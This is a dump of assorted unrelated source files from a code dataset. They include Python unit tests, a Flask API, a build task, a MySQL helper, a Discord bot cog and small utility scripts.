max(name_lengths)+1)\r\n#plt.xlabel(\"Character Name Length\", size=25)\r\n#plt.ylabel(\"Number of Auctions\", size=25)\r\n#plt.show()","sub_path":"bazaar_report.py","file_name":"bazaar_report.py","file_ext":"py","file_size_in_byte":9758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"217061404","text":"import unittest\n\nfrom unittest.mock import patch\n\nfrom apps.jira.models import JiraModel, Board, Sprint, Issue\nfrom tests.helpers import MockResponse, MockSession\n\nBOARD_MOCK_OBJ = {\n 'id': 123,\n 'self': 'https://example.org',\n 'name': 'MockBoard',\n 'type': 'Scrum',\n 'location': {'projectKey': 'AB'}\n}\n\nSPRINT_MOCK_OBJ = {\n 'id': 1,\n 'self': 'https://example.org',\n 'state': 'active',\n 'name': 'mock sprint',\n 'originBoardId': 1\n}\n\nISSUE_MOCK_OBJ = {\n 'id': 1,\n 'self': 'https://example.org',\n 'key': 'AB-123',\n 'fields': {\n 'summary': 'MockSummary'\n }\n}\n\n\nclass TestJiraModel(unittest.TestCase):\n def test_incorrect_obj_raises_key_error(self):\n obj = {}\n self.assertRaises(KeyError, JiraModel, obj, MockSession(200, {}))\n\n def test_incorrect_session_raises_value_error(self):\n obj = {'id': 1, 'self': 'url'}\n session = {}\n self.assertRaises(ValueError, JiraModel, obj, session)\n\n\nclass TestBoard(TestJiraModel):\n @patch(\n 'apps.jira.models.get_paginated_results',\n return_value=[SPRINT_MOCK_OBJ]\n )\n def test_get_sprints(self, mock_response):\n obj = BOARD_MOCK_OBJ\n board = Board(obj, MockSession(200, {}))\n sprints = board.sprints()\n self.assertIsInstance(sprints[0], Sprint)\n\n @patch(\n 'apps.jira.models.get_paginated_results',\n return_value=[SPRINT_MOCK_OBJ]\n )\n def test_get_active_sprints(self, mock_response):\n obj = BOARD_MOCK_OBJ\n board = Board(obj, MockSession(200, {}))\n sprints = board.sprints(active=True)\n self.assertIsInstance(sprints[0], Sprint)\n\n\nclass TestSprint(TestJiraModel):\n @patch(\n 'apps.jira.models.get_paginated_results',\n return_value=[ISSUE_MOCK_OBJ]\n )\n def test_get_issues(self, mock_response):\n obj = SPRINT_MOCK_OBJ\n sprint = Sprint(obj, MockSession(200, {}))\n issues = sprint.issues()\n self.assertIsInstance(issues[0], Issue)\n\n\nclass TestIssue(TestJiraModel):\n def setUp(self):\n obj = {\n 'id': 1337,\n 'self': 'https://example.org/1337',\n 'key': 'AB-123',\n 'fields': {'summary': 'Test summary', 'fixVersions': []}\n }\n\n self.issue = Issue(obj, MockSession(400, {}))\n self.obj = obj\n\n @patch('apps.jira.models.get_response', return_value=MockResponse(201))\n def test_comment(self, mock_response):\n response = self.issue.comment('Test comment')\n self.assertTrue(response)\n\n @patch('apps.jira.models.get_response', return_value=MockResponse(201))\n def test_add_version(self, mock_response):\n response = self.issue.add_version('Test version')\n self.assertTrue(response)\n\n def test_add_version_already_has_version(self):\n issue = Issue(self.obj, MockSession(400, {}))\n issue.fix_versions.append({'name': 'Existing version'})\n self.assertFalse(issue.add_version('Test version'))\n","sub_path":"tests/apps/jira/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":2991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"306118532","text":"from flor.constants import *\nfrom flor import stateful, utils\nfrom flor.skipblock.skip_block import SkipBlock\nfrom flor.writer import Writer\n\nimport sys\nimport functools\n\ndef partition(iterator, partition_id, num_partitions):\n if stateful.MODE is EXEC:\n # This method is pass through on exec\n return iterator\n assert partition_id >= 0 and partition_id < num_partitions\n partition_id = int(partition_id)\n SkipBlock.parallel = True\n\n pretraining = stateful.pretraining\n iterations_count = len(iterator)\n period = stateful.period\n\n psl = Writer.partitioned_store_load\n if len(psl) > iterations_count:\n # This is true when Train & Eval loop share the same looper (see Rnn Translator)\n assert len(psl) % iterations_count == 0\n # We will stitch adjacents together\n new_group_size = int(len(psl) / iterations_count)\n new_psl = []\n current_group = None\n for i,each in enumerate(psl):\n if i % new_group_size == 0:\n new_psl.append(current_group)\n current_group = []\n current_group += each\n new_psl.append(current_group)\n assert new_psl.pop(0) is None\n assert len(new_psl) == iterations_count\n Writer.partitioned_store_load = new_psl\n del psl\n\n\n\n stateful.iterations_count = iterations_count\n\n epoch_partitions = utils.get_partitions(len(iterator), num_partitions, pretraining, period)\n\n our_epochs = epoch_partitions[partition_id]\n if not our_epochs:\n sys.exit(0)\n\n predecessor_id = our_epochs[0] - 1\n if predecessor_id >= 0 and stateful.PRED_INIT_MODE is WEAK:\n Writer.store_load = functools.reduce(lambda x,y: x+y, Writer.partitioned_store_load[predecessor_id:])\n # In case of STRONG init mode, just leave store_load as it is, it already has\n # What it needs to start from 0. It doesn't need to start at some k.\n\n if stateful.PRED_INIT_MODE is WEAK:\n predecessor_epochs = [predecessor_id,] if predecessor_id >= 0 else []\n else:\n predecessor_epochs = range(predecessor_id + 1)\n\n for pred in predecessor_epochs:\n print(f\"Initializing epoch {pred}\")\n yield iterator[pred]\n\n import flor\n flor.SKIP = False\n\n for epoch in our_epochs:\n print(f\"Executing epoch {epoch}\")\n yield iterator[epoch]\n\n\n\n\n","sub_path":"flor/parallelizer/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"406609767","text":"from irSerial import Serial\nfrom time import time\n\nser = Serial()\ntry:\n ser.open()\n if ser.isOpen():\n t = time()\n while True:\n frame = ser.getIrFrame()\n print(f'\\n{time() - t}, shape={frame.shape}, type={type(frame[0][0])}')\n t = time()\n print('-' * 64)\n for y in range(24):\n for x in range(32):\n b = frame[y][x]\n if b > 80:\n print('@', end=' ')\n else:\n print(' ', end=' ')\n print()\n else:\n print (\"open serial port error\")\nfinally:\n ser.close()\n","sub_path":"windows_pyserial/simpleShow.py","file_name":"simpleShow.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"258069868","text":"from flask import Blueprint\nfrom app import jsonify\nfrom app.models import Branch\nfrom app.utils import decorators\n\napi = Blueprint(\"branch_api\", __name__, url_prefix=\"/api/branch\")\n\n\n@api.route(\"/list\", methods=[\"GET\"])\n@decorators.login_required\ndef list():\n branches = [branch.serialize() for branch in Branch.query.all()]\n data = dict(status=\"success\", branches=branches)\n return jsonify(data), 200\n\n\n@api.route(\"/\", methods=[\"GET\"])\n@decorators.login_required\ndef get_branch(branchid):\n branch = Branch.query.get(branchid)\n if branch:\n data = dict(status=\"success\", branch=branch.serialize())\n else:\n data = dict(status=\"fail\", message=\"No such Branch found\")\n return jsonify(data), 200\n","sub_path":"app/api/branch.py","file_name":"branch.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"604307452","text":"# Copyright 2014 Pants project contributors (see CONTRIBUTORS.md).\n# Licensed under the Apache License, Version 2.0 (see LICENSE).\n\nfrom __future__ import (nested_scopes, generators, division, absolute_import, with_statement,\n print_function, unicode_literals)\n\nimport functools\nimport os\nfrom contextlib import contextmanager\nfrom zipfile import ZIP_DEFLATED, ZIP_STORED\n\nfrom twitter.common.dirutil import safe_mkdir\n\nfrom pants.base.build_environment import get_buildroot\nfrom pants.base.exceptions import TaskError\nfrom pants.fs.fs import safe_filename\nfrom pants.java.jar import Manifest, open_jar\nfrom pants.targets.scala_library import ScalaLibrary\nfrom pants.tasks.task import Task\nfrom pants.tasks.javadoc_gen import javadoc\nfrom pants.tasks.scaladoc_gen import scaladoc\n\n\ndef is_java_library(target):\n return target.has_sources('.java')\n\n\ndef is_scala_library(target):\n return target.has_sources('.scala')\n\n\ndef is_jvm_library(target):\n return is_java_library(target) or is_scala_library(target)\n\n\ndef jarname(target, extension='.jar'):\n # TODO(John Sirois): incorporate version\n _, id_, _ = target.get_artifact_info()\n # Cap jar names quite a bit lower than the standard fs limit of 255 characters since these\n # artifacts will often be used outside pants and those uses may manipulate (expand) the jar\n # filenames blindly.\n return safe_filename(id_, extension, max_length=200)\n\n\ndef _abs_and_relative_sources(target):\n abs_source_root = os.path.join(get_buildroot(), target.target_base)\n for source in target.sources_relative_to_source_root():\n yield os.path.join(abs_source_root, source), source\n\n\nclass JarCreate(Task):\n \"\"\"Jars jvm libraries and optionally their sources and their docs.\"\"\"\n\n @classmethod\n def setup_parser(cls, option_group, args, mkflag):\n option_group.add_option(mkflag('compressed'), mkflag('compressed', negate=True),\n dest='jar_create_compressed', default=True,\n action='callback', callback=mkflag.set_bool,\n help='[%default] Create compressed jars.')\n\n option_group.add_option(mkflag('transitive'), mkflag('transitive', negate=True),\n dest='jar_create_transitive', default=True,\n action='callback', callback=mkflag.set_bool,\n help='[%default] Create jars for the transitive closure of internal '\n 'targets reachable from the roots specified on the command line.')\n\n option_group.add_option(mkflag('classes'), mkflag('classes', negate=True),\n dest='jar_create_classes', default=True,\n action='callback', callback=mkflag.set_bool,\n help='[%default] Create class jars.')\n option_group.add_option(mkflag('sources'), mkflag('sources', negate=True),\n dest='jar_create_sources', default=False,\n action='callback', callback=mkflag.set_bool,\n help='[%default] Create source jars.')\n #TODO tdesai: Think about a better way to set defaults per goal basis.\n javadoc_defaults = True if option_group.title.split(':')[0] == 'publish' else False\n option_group.add_option(mkflag('javadoc'), mkflag('javadoc', negate=True),\n dest='jar_create_javadoc',\n default=javadoc_defaults,\n action='callback', callback=mkflag.set_bool,\n help='[%default] Create javadoc jars.')\n\n def __init__(self, context, workdir):\n super(JarCreate, self).__init__(context, workdir)\n\n options = context.options\n products = context.products\n\n self.transitive = options.jar_create_transitive\n self.compression = ZIP_DEFLATED if options.jar_create_compressed else ZIP_STORED\n\n self.jar_classes = options.jar_create_classes or products.isrequired('jars')\n if self.jar_classes:\n products.require_data('classes_by_target')\n products.require_data('resources_by_target')\n\n definitely_create_javadoc = options.jar_create_javadoc or products.isrequired('javadoc_jars')\n definitely_dont_create_javadoc = options.jar_create_javadoc is False\n create_javadoc = options.jar_create_javadoc\n if definitely_create_javadoc and definitely_dont_create_javadoc:\n self.context.log.warn('javadoc jars are required but you have requested they not be created, '\n 'creating anyway')\n self.jar_javadoc = (True if definitely_create_javadoc else\n False if definitely_dont_create_javadoc else\n create_javadoc)\n if self.jar_javadoc:\n products.require(javadoc.product_type)\n products.require(scaladoc.product_type)\n\n self.jar_sources = products.isrequired('source_jars') or options.jar_create_sources\n\n self._jars = {}\n\n def execute(self, targets):\n safe_mkdir(self.workdir)\n\n def jar_targets(predicate):\n return filter(predicate, (targets if self.transitive else self.context.target_roots))\n\n def add_genjar(typename, target, name):\n self.context.products.get(typename).add(target, self.workdir).append(name)\n\n # TODO(Tejal Desai) pantsbuild/pants/65: Avoid creating 2 jars with java sources for\n # scala_library with java_sources. Currently publish fails fast if scala_library owning\n # java sources pointed by java_library target also provides an artifact. However, jar_create\n # ends up creating 2 jars one scala and other java both including the java_sources.\n if self.jar_classes:\n self._jar(jar_targets(is_jvm_library), functools.partial(add_genjar, 'jars'))\n\n if self.jar_sources:\n self.sourcejar(jar_targets(is_jvm_library), functools.partial(add_genjar, 'source_jars'))\n\n if self.jar_javadoc:\n javadoc_add_genjar = functools.partial(add_genjar, 'javadoc_jars')\n self.javadocjar(jar_targets(is_java_library),\n self.context.products.get(javadoc.product_type),\n javadoc_add_genjar)\n self.javadocjar(jar_targets(is_scala_library),\n self.context.products.get(scaladoc.product_type),\n javadoc_add_genjar)\n\n @contextmanager\n def create_jar(self, target, path):\n existing = self._jars.setdefault(path, target)\n if target != existing:\n raise TaskError('Duplicate name: target %s tried to write %s already mapped to target %s' % (\n target, path, existing\n ))\n self._jars[path] = target\n with open_jar(path, 'w', compression=self.compression) as jar:\n yield jar\n\n def _jar(self, jvm_targets, add_genjar):\n classes_by_target = self.context.products.get_data('classes_by_target')\n resources_by_target = self.context.products.get_data('resources_by_target')\n\n for target in jvm_targets:\n target_classes = classes_by_target.get(target)\n\n target_resources = []\n if target.has_resources:\n target_resources.extend(resources_by_target.get(r) for r in target.resources)\n\n if target_classes or target_resources:\n jar_name = jarname(target)\n add_genjar(target, jar_name)\n jar_path = os.path.join(self.workdir, jar_name)\n with self.create_jar(target, jar_path) as jarfile:\n def add_to_jar(target_products):\n if target_products:\n for root, products in target_products.rel_paths():\n for prod in products:\n jarfile.write(os.path.join(root, prod), prod)\n add_to_jar(target_classes)\n for resources_target in target_resources:\n add_to_jar(resources_target)\n if target.is_java_agent:\n self.write_agent_manifest(target, jarfile)\n\n def sourcejar(self, jvm_targets, add_genjar):\n for target in jvm_targets:\n jar_name = jarname(target, '-sources.jar')\n add_genjar(target, jar_name)\n jar_path = os.path.join(self.workdir, jar_name)\n with self.create_jar(target, jar_path) as jar:\n for abs_source, rel_source in _abs_and_relative_sources(target):\n jar.write(abs_source, rel_source)\n\n # TODO(Tejal Desai): pantsbuild/pants/65 Remove java_sources attribute for ScalaLibrary\n if isinstance(target, ScalaLibrary):\n for java_source_target in target.java_sources:\n for abs_source, rel_source in _abs_and_relative_sources(java_source_target):\n jar.write(abs_source, rel_source)\n\n if target.has_resources:\n for resource_target in target.resources:\n for abs_source, rel_source in _abs_and_relative_sources(resource_target):\n jar.write(abs_source, rel_source)\n\n def javadocjar(self, java_targets, genmap, add_genjar):\n for target in java_targets:\n generated = genmap.get(target)\n if generated:\n jar_name = jarname(target, '-javadoc.jar')\n add_genjar(target, jar_name)\n jar_path = os.path.join(self.workdir, jar_name)\n with self.create_jar(target, jar_path) as jar:\n for basedir, javadocfiles in generated.items():\n for javadocfile in javadocfiles:\n jar.write(os.path.join(basedir, javadocfile), javadocfile)\n\n def write_agent_manifest(self, agent, jarfile):\n # TODO(John Sirois): refactor an agent model to suport 'Boot-Class-Path' properly.\n manifest = Manifest()\n manifest.addentry(Manifest.MANIFEST_VERSION, '1.0')\n if agent.premain:\n manifest.addentry('Premain-Class', agent.premain)\n if agent.agent_class:\n manifest.addentry('Agent-Class', agent.agent_class)\n if agent.can_redefine:\n manifest.addentry('Can-Redefine-Classes', 'true')\n if agent.can_retransform:\n manifest.addentry('Can-Retransform-Classes', 'true')\n if agent.can_set_native_method_prefix:\n manifest.addentry('Can-Set-Native-Method-Prefix', 'true')\n jarfile.writestr(Manifest.PATH, manifest.contents())\n","sub_path":"src/python/pants/tasks/jar_create.py","file_name":"jar_create.py","file_ext":"py","file_size_in_byte":9988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"58235539","text":"from tkinter import *\nfrom tkinter import filedialog\nimport cv2\n\n\nroot = Tk()\nroot.title(\"VIA\")\nroot.geometry(\"710x394\")\nroot.resizable(width = False, height = False)\n\n# Here you must specify the path, where the image 'VIA.png' is saved by you i.e. (file= \"path where you saved the VIA.png\")\n\nphotoImage = PhotoImage(file=\"C:/Users/albta/PycharmProjects/ProjectVeinScanner/VIA.png\")\nHead = Label(root, image=photoImage)\nHead.place(x = 5, y = 8)\n\n# Here you can change the (initialdir=\"the directory or folder which you want to be opened when fetch button is clicked\")\n\ndef button_fetch():\n root.filename = filedialog.askopenfilename(initialdir=\"/Users/albta/OneDrive/Desktop/InputVIA\", title=\"FETCH\",\n filetypes=((\"JPEG\", \"*.jpeg\"),(\"PNG\", \"*.png\"), (\"All files\", \"*.*\")))\n button_2 = Button(root, text=\"OUTPUT\", padx=30, pady=8, fg=\"white\", bg=\"black\", borderwidth=0.1, command=button_output)\n button_2.place(x=300, y=330)\n\ndef button_output():\n\n imgg = cv2.imread(root.filename, 0)\n img1 = cv2.GaussianBlur(imgg, (5, 5), 0)\n clahe = cv2.createCLAHE(clipLimit=5)\n resultclahe = clahe.apply(img1)\n\n thresh4 = cv2.adaptiveThreshold(img1, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 35, 4)\n edges = cv2.Canny(thresh4, 100, 200)\n Out = cv2.hconcat([thresh4, edges, resultclahe])\n cv2.imshow(\"Output\", Out)\n\n\n\n#define button\nbutton_1 = Button(root, text = \"FETCH \",padx =33, pady =8.5, fg = \"white\", bg = \"black\", borderwidth = 0.1, command = button_fetch)\n\n#put on screen\nbutton_1.place(x = 300, y = 280)\n\nroot.mainloop()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"VIA (1).py","file_name":"VIA (1).py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"562829212","text":"import praw\n\nr = praw.Reddit(user_agent='AskReddit NTLK parser by u/abelincolncodes'\n 'https://github.com/WhiteAbeLincoln/reddit-ntlk')\n\n\ndef get_comments(sub_id, more_comments=True):\n submission = r.get_submission(submission_id=sub_id)\n if more_comments:\n submission.replace_more_comments()\n all_comments = submission.comments\n return [x.body for x in all_comments if type(x) == praw.objects.Comment]\n","sub_path":"reddit/reddit.py","file_name":"reddit.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"86690380","text":"'''\n- Leetcode problem: 55\n\n- Difficulty: Medium\n\n- Brief problem description:\n\nGiven an array of non-negative integers, you are initially positioned at the first index of the array.\n\nEach element in the array represents your maximum jump length at that position.\n\nDetermine if you are able to reach the last index.\n\n\n\nExample 1:\n\nInput: nums = [2,3,1,1,4]\nOutput: true\nExplanation: Jump 1 step from index 0 to 1, then 3 steps to the last index.\nExample 2:\n\nInput: nums = [3,2,1,0,4]\nOutput: false\nExplanation: You will always arrive at index 3 no matter what. Its maximum jump length is 0, which makes it impossible\nto reach the last index.\n\n\nConstraints:\n\n1 <= nums.length <= 3 * 10^4\n0 <= nums[i][j] <= 10^5\n\n- Solution Summary:\n\nDP with memory, reduce time from O(n**2) to O(n)\n\n- Used Resources:\n\n--- Bo Zhou\n'''\n\n\nclass Solution:\n def canJump(self, nums: List[int]) -> bool:\n if len(nums) < 2:\n return True\n\n dp = [False for i in range(len(nums))]\n\n dp[-1] = True\n\n lastTruePos = len(nums) - 1\n for i in range(len(nums) - 2, -1, -1):\n if i + nums[i] >= lastTruePos:\n dp[i] = True\n lastTruePos = i\n\n return dp[0]\n\n\nif __name__ == \"__main__\":\n solution = Solution()\n testList = [2,3,1,1,4]\n print(solution.canJump(testList))","sub_path":"p55_Jump_Game.py","file_name":"p55_Jump_Game.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"232489664","text":"# -*- coding:UTF-8 -*-\nimport time\nimport os\nimport pymysql\nfrom settings import *\nimport platform\nfrom lib.getLogging import *\nfilename = os.path.basename(__file__)\nlogging = Logger(filename).getlog()\n\nclass requestSQL():\n # init\n def __init__(self):\n self.conn = pymysql.connect(\n host=ip,\n port=int(port),\n user=user,\n passwd=password,\n db=database,\n charset='utf8'\n )\n self.cursor = self.conn.cursor()\n\n # 须是完整的SQL语句\n def sql_exe(self, sql):\n self.cursor.execute(sql)\n\n # INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)\n def insert(self, tbName, field, values):\n insSql = \"insert into %s(%s)values %s\" % (tbName, field, values)\n return self.execute(insSql)\n\n # select (self,表，列，where)\n def select(self, tbName, field='*', where=''):\n if where:\n where = \" where \"+where\n selSql = \"select %s from %s %s\" % (field, tbName, where)\n return self.execute(selSql)\n\n # UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值\n def update(self, keyValues, tbName, where):\n setValue = ''\n for k,v in keyValues.items():\n setValue += '`%s`=\"%s\",' % (k, v)\n if where:\n where = \" where \"+where\n updateSql = \"update %s set %s %s\" % (tbName, setValue[:-1], where)\n return self.execute(updateSql)\n\n # DELETE FROM 表名称 WHERE 列名称 = 值\n def delete(self,tbName, where):\n if where:\n where = \" where \"+where\n delSql = \"delete from %s %s\" % (tbName,where)\n return self.execute(delSql)\n\n # execute\n def execute(self, sql):\n try:\n if sql.find('select') != -1:\n self.cursor.execute(sql)\n return self.cursor.fetchall()\n elif sql.find('insert') != -1 or sql.find('update') != -1 or sql.find('delete') != -1:\n self.cursor.execute(sql)\n self.conn.commit()\n return True\n else:\n return False\n except Exception as e:\n print(str(time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())) + '--' + str(e))\n return False\n\n # __del__\n def __del__(self):\n self.cursor.close()\n self.conn.close()\n\n\n def excute_select(self,sql:str,fetch:str)->list:\n '''\n\n :param sql: 查询语句\n :param fetch:返回列表\n :return:\n '''\n\n self.cursor.execute(sql)\n if fetch == 'fetchone':\n return self.cursor.fetchone()\n elif fetch == 'fetchmany':\n return self.cursor.fetchmany()\n elif fetch == 'fetchall':\n return self.cursor.fetchall()\n else:\n return None\n\n\nif __name__ == \"__main__\":\n # requestSQL = requestSQL()\n # re = requestSQL.sql_exe('''select * FROM mrm_type where mrm_type_id = 'basy';''')\n requestSQL = requestSQL()\n re = requestSQL.excute_select('''select * FROM mrm_type where mrm_type_id = 'basy';''','fetchone')\n print(re)\n # print(requestSQL.cursor.fetchone)\n # pass","sub_path":"lib/get_sql.py","file_name":"get_sql.py","file_ext":"py","file_size_in_byte":3173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"518140844","text":"import sys\nimport json\nimport os\n\npath=sys.argv[1]\nlibname=sys.argv[2]\nprint(path)\nf=open(path,'r')\njf=json.loads(f.read())\nos.system('mkdir libs')\nos.system('mkdir libs/' + libname)\nversions=jf['versions']\nprint(versions)\nprint('=====================')\nfor v in versions:\n print('Installing ' + libname + ' ' + v)\n os.system('mkdir libs/' + libname + '/' + v)\n cmd='npm install ' + libname + '@' + v + ''\n print(cmd)\n os.system(cmd)\n os.system('mv node_modules/' + libname + '/*' + ' libs/' + libname + '/' + v + '/')\n os.system('rm -rf node_modules/')\n\nprint('The lib has been installed. Now importing lib info to DB')","sub_path":"npmFetch.py","file_name":"npmFetch.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"160962741","text":"\"\"\"Should be obvious.\"\"\"\n\nimport discord\nfrom discord.ext import commands\nfrom cogs.utils import utils, checks\n\n\nclass Test:\n\n def __init__(self, bot):\n self.bot = bot\n self.db = bot.db\n\n @commands.group(name='test')\n async def test(self, ctx, *, arg):\n pass\n\n @test.group(name='t1')\n async def t1(self, ctx, *, arg):\n \"\"\"Test\"\"\"\n pass\n\n @t1.command(name='t1_1')\n async def t1_1(self, ctx, *, arg):\n \"\"\"T1 subcommand\"\"\"\n pass\n\n @test.command(name='t2')\n async def t2(self, ctx):\n \"\"\"Supposed to print shit\"\"\"\n print(dir(ctx))\n print()\n print(dir(ctx.command))\n\n @checks.sudo()\n @commands.command(name='countdown', hidden=True)\n async def countdown(self, ctx, seconds: int):\n \"\"\"Counts down from \n\n [p]countdown \"\"\"\n from asyncio import sleep\n if seconds > 600:\n await ctx.send(\"{}, I cannot count down for anytime longer than 600 seconds\".format(ctx.messsage.author.mention))\n return\n else:\n em = discord.Embed(title=\"countown\", description=str(seconds))\n count = await ctx.send(embed=em)\n sleep(1)\n for i in list(range(seconds))[::-1]:\n em = discord.Embed(title=\"countdown\", description=i)\n await count.edit(embed=em)\n await sleep(1)\n await count.delete()\n\n # import math\n # def _hex(r: int, g: int, b: int):\n # return (r * 0x10000) + (g * 0x100) + (b)\n #\n # c = [0, 255, 0]\n # h = _hex(*c)\n # s = 10\n # sr = math.floor((255 / s))\n # for i in range(10):\n # global c\n # c = [c[0] + sr, c[1] - sr, 0]\n # h = _hex(*c)\n # print(hex(h))\n\n @commands.command(name='pagtest', hidden=True)\n async def pagtest(self, ctx):\n value = \"\"\"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\nUt enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\nDuis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.\nExcepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.\nSed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo.\nNemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt.\nNeque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem.\nUt enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur?\nQuis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?\"\"\"\n pag = utils.paginate(value)\n em = discord.Embed(title='Pagination Test:', color=discord.Colour.green())\n c = 1\n for i in pag:\n em.add_field(name='Field {}'.format(c), value=i)\n c += 1\n await ctx.send(embed=em)\n\n @checks.sudo()\n @commands.command(name='redtest', enabled=False, hidden=True)\n async def redtest(self, ctx, *, message: str):\n '''Test docstr'''\n self.db.hset('redtest', ctx.message.id, message)\n\n @checks.sudo()\n @commands.command()\n async def embtest(self, ctx):\n d = {\n \"content\": \"this `supports` __a__ **subset** *of* ~~markdown~~ 😃 ```js\\nfunction foo(bar) {\\n console.log(bar);\\n}\\n\\nfoo(1);```\",\n \"embed\": {\n \"title\": \"title ~~(did you know you can have markdown here too?)~~\",\n \"description\": \"this supports [named links](https://discordapp.com) on top of the previously shown subset of markdown. ```\\nyes, even code blocks```\",\n \"url\": \"https://discordapp.com\",\n \"color\": 4830089,\n \"footer\": {\n \"icon_url\": \"https://cdn.discordapp.com/embed/avatars/0.png\",\n \"text\": \"footer text\"\n },\n \"thumbnail\": {\n \"url\": \"https://cdn.discordapp.com/embed/avatars/0.png\"\n },\n \"image\": {\n \"url\": \"https://cdn.discordapp.com/embed/avatars/0.png\"\n },\n \"author\": {\n \"name\": \"author name\",\n \"url\": \"https://discordapp.com\",\n \"icon_url\": \"https://cdn.discordapp.com/embed/avatars/0.png\"\n },\n \"fields\": [\n {\n \"name\": \"🤔\",\n \"value\": \"some of these properties have certain limits...\"\n },\n {\n \"name\": \"😱\",\n \"value\": \"try exceeding some of them!\"\n },\n {\n \"name\": \"🙄\",\n \"value\": \"an informative error should show up, and this view will remain as-is until all issues are fixed\"\n },\n {\n \"name\": \"<:thonkang:219069250692841473>\",\n \"value\": \"these last two\",\n \"inline\": True\n },\n {\n \"name\": \"<:thonkang:219069250692841473>\",\n \"value\": \"are inline fields\",\n \"inline\": True\n }\n ]\n }\n }\n emb = discord.Embed.from_data(d['embed'])\n await ctx.send(d['content'], embed=emb)\n\n @commands.command()\n async def c4test(self, ctx):\n await ctx.send(embed=discord.Embed(description=\":one::two::three::four::five::six::seven:\"))\n\n\ndef setup(bot):\n bot.add_cog(Test(bot))","sub_path":"cogs/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":6225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"180358197","text":"dict = {\"aatrox\": {\"name\": \"Aatrox\", \"file\": \"aatrox\", \"champion_id\": \"266\", \"internal_name\": \"aatrox\"},\n \"ahri\": {\"name\": \"Ahri\", \"file\": \"ahri\", \"champion_id\": \"103\", \"internal_name\": \"ahri\"},\n \"akali\": {\"name\": \"Akali\", \"file\": \"akali\", \"champion_id\": \"84\", \"internal_name\": \"akali\"},\n \"alistar\": {\"name\": \"Alistar\", \"file\": \"alistar\", \"champion_id\": \"12\", \"internal_name\": \"alistar\"},\n \"amumu\": {\"name\": \"Amumu\", \"file\": \"amumu\", \"champion_id\": \"32\", \"internal_name\": \"amumu\"},\n \"anivia\": {\"name\": \"Anivia\", \"file\": \"anivia\", \"champion_id\": \"34\", \"internal_name\": \"anivia\"},\n \"annie\": {\"name\": \"Annie\", \"file\": \"annie\", \"champion_id\": \"1\", \"internal_name\": \"annie\"},\n \"ashe\": {\"name\": \"Ashe\", \"file\": \"ashe\", \"champion_id\": \"22\", \"internal_name\": \"ashe\"},\n \"azir\": {\"name\": \"Azir\", \"file\": \"azir\", \"champion_id\": \"268\", \"internal_name\": \"azir\"},\n \"blitzcrank\": {\"name\": \"Blitzcrank\", \"file\": \"blitzcrank\", \"champion_id\": \"53\", \"internal_name\": \"blitzcrank\"},\n \"brand\": {\"name\": \"Brand\", \"file\": \"brand\", \"champion_id\": \"63\", \"internal_name\": \"brand\"},\n \"braum\": {\"name\": \"Braum\", \"file\": \"braum\", \"champion_id\": \"201\", \"internal_name\": \"braum\"},\n \"caitlyn\": {\"name\": \"Caitlyn\", \"file\": \"caitlyn\", \"champion_id\": \"51\", \"internal_name\": \"caitlyn\"},\n \"cassiopeia\": {\"name\": \"Cassiopeia\", \"file\": \"cassiopeia\", \"champion_id\": \"69\", \"internal_name\": \"cassiopeia\"},\n \"cho'gath\": {\"name\": \"Cho'Gath\", \"file\": \"chogath\", \"champion_id\": \"31\", \"internal_name\": \"cho'gath\"},\n \"corki\": {\"name\": \"Corki\", \"file\": \"corki\", \"champion_id\": \"42\", \"internal_name\": \"corki\"},\n \"darius\": {\"name\": \"Darius\", \"file\": \"darius\", \"champion_id\": \"122\", \"internal_name\": \"darius\"},\n \"diana\": {\"name\": \"Diana\", \"file\": \"diana\", 